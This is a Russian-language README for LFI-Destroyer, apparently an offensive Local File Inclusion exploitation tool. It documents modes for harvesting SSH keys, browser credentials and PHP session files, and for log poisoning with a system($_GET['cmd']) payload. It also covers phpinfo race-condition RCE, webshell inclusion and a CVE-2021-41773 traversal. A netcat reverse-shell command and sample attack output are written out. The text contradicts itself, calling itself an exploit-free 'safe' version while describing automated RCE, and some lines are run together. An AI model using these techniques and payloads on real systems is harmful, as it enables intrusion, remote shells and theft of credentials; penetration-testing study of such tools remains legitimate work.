
Эта программа запрашивает информацию о локальном включении файла (Local File Inclusion) и автоматически ищет /etc/passwd, а затем, используя найденные имена пользователей, ищет и загружает любые SSH-ключи или их вариации на локальный компьютер. Эта программа также выполняет эксплойт обхода пути CVE-2021-41773_ для Apache 2.4.49 и 50. В дополнение к другим уязвимостям LFI.
🔥 LFI-Destruction – Фреймворк авторизованного тестирования на проникновение LFI-Destroyer — это комплексный модульный фреймворк эксплуатации Local File Inclusion (LFI), разработанный для авторизованных специалистов по безопасности. Он объединяет множество атакующих техник в единый простой в использовании инструмент:
Это безопасная версия для экзамена OSCP, в которой нет автоматических эксплойтов. Это, по сути, очень красивый фаззер, который после подтверждения уязвимости выводит ручные инструкции по выполнению эксплойта.
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности.
Вы должны иметь явное письменное разрешение владельца системы перед использованием.
Несанкционированный доступ к компьютерным системам незаконен и неэтичен.
Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.
# 1. Clone the repository
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer
# 2. Install dependencies (only colorama is required; others are optional)
pip install colorama
# 3. Make the main script executable
chmod +x LFI-Destroyer.py
python3 LFI-Destroyer.py
Выберите Linux или Windows.
LFI-Destruction/ LFI-Destruction.py
modes/init.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py
artifacts/
README.md
Выберите режим атаки 1.
Следуйте подсказкам для настройки LFI-точки входа.
Скрипт автоматически перечисляет пользователей, проверяет их существование (в Windows используется маяк NTUSER.DAT) и рекурсивно фаззит ключи SSH, учетные данные браузеров и другие конфиденциальные файлы.
Все артефакты сохраняются в каталог ./artifacts/.
python3 LFI-Destroyer.py --log-poisoning --log-vector ua
Или запустите в интерактивном режиме и выберите режим 2.
Что происходит:
system($_GET['cmd']).id (Linux) или whoami (Windows).Пользовательская обратная оболочка:
python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"
Плейсхолдеры {lhost} и {lport} будут заменены на IP/порт вашего прослушивателя.
Статус: Beta – надежно работает на неправильно настроенных PHP-серверах с file_uploads=On и доступной phpinfo().
Предварительные требования:
file_uploads = On (определяется автоматически)post_max_size ≥ upload_max_filesize (определяется автоматически)phpinfo() (скрипт перебирает типовые расположения)Запуск:
python3 LFI-Destroyer.py
# Выберите режим 3
Укажите детали LFI как обычно. Скрипт будет:
phpinfo() (словник, зависящий от ОС)upload_max_filesize и post_max_sizeПример вывода:
[*] Bruteforcing phpinfo.php (45 paths) ...
[+] Found phpinfo.php at http://192.168.1.100/phpinfo.php
[+] file_uploads=On (max size: 8M)
[+] Attempt race condition RCE? (y/N): y
[*] Race attempt 1/3 ...
[+] Extracted temporary file path: /tmp/phpABC123
[+] RCE confirmed via temporary file!
[!] LOG POISONING SUCCESSFUL! Ready to escalate to reverse shell.
Статус: Beta – предполагается, что вы уже загрузили PHP-оболочку (например, через другую уязвимость или вручную). Скрипт затем использует LFI для её включения и выполнения команд.
Два режима работы:
uploads/shell.php).Запуск:
python3 LFI-Destroyer.py
# Выберите режим 4
Введите путь или 'brute'. Скрипт будет:
?cmd=whoamiПример:
Enter path to uploaded file (relative to web root), or 'brute' to try common locations: uploads/shell.php
[*] Trying uploads/shell.php ...
[+] SUCCESS! Shell executed at uploads/shell.php
[+] Command output:
www-data
Attempt reverse shell? (y/N): y
Статус: Beta – читает файлы сессий из session.save_path (определяется через phpinfo() или резервный словник), сохраняет их и при необходимости пытается декодировать base64.
Запуск:
python3 LFI-Destroyer.py
# Выберите режим 5
Введите ID сессии или 'list' для перечисления.
Примеры:
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: abc123
[*] Reading /var/lib/php/sessions/sess_abc123 ...
[+] Session file retrieved!
[--- SESSION DATA (raw) ---]
username|s:5:"admin";user_id|i:1;
Листинг каталога сессий (если включена индексация каталога):
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: list
[+] Found 12 session files:
- sess_abc123
- sess_def456
...
Все файлы сессий сохраняются в artifacts/session_*.
Если данные выглядят как base64-кодированные, скрипт автоматически пытается выполнить обход через php://filter/convert.base64-decode и сохраняет декодированную версию.
Включает дополнительные LFI-техники:
php://filter, data://, expect://)python3 LFI-Destroyer.py -adv
Flag Description
--os {linux,windows} Принудительно указать ОС цели
--auto-depth Автоматически определять глубину обхода
--wordlist FILE Пользовательский список путей к файлам (заменяет стандартный для ОС)
--userlist FILE Пользовательские имена пользователей Windows (режим 1)
--beacon-file PATH Пользовательский файл маяка (по умолчанию: NTUSER.DAT)
--custom-shell CMD Пользовательская команда обратной оболочки (используйте {lhost} и {lport})
--log-poisoning Включить режим 2 из командной строки (без интерактивного выбора)
--log-vector {ua,referer,xff,header,param} Вектор внедрения для отравления журналов
--log-header NAME Пользовательское имя заголовка (для vector=header)
--log-param NAME Пользовательское имя параметра (для vector=param)
--log-files FILE Пользовательский список путей к журналам
--rce-command CMD Тестовая команда для проверки RCE
--proxy URL HTTP-прокси (например, http://127.0.0.1:8080)
--rate FLOAT Задержка между запросами (секунды)
--output FILE Сохранить результаты в JSON
--dry-run Тестовая конфигурация – запросы не отправляются
--no-color Отключить цветной вывод
modes/.Вы можете легко добавлять новые режимы, поместив Python-файл с функцией run(config, fuzzer).
colorama (опционально, для цветного вывода)Автор: RevShellXD
Распространяется под лицензией MIT – бесплатно для авторизованных специалистов по безопасности.
Только для образовательных целей и авторизованного тестирования.
Если вы нарушите закон с помощью этого инструмента, вы несёте полную ответственность.
Если вы считаете этот инструмент полезным, поставьте звезду репозиторию на GitHub.
Приветствуются pull request'ы и новые режимы – следуйте простому интерфейсу модуля в modes/__init__.py.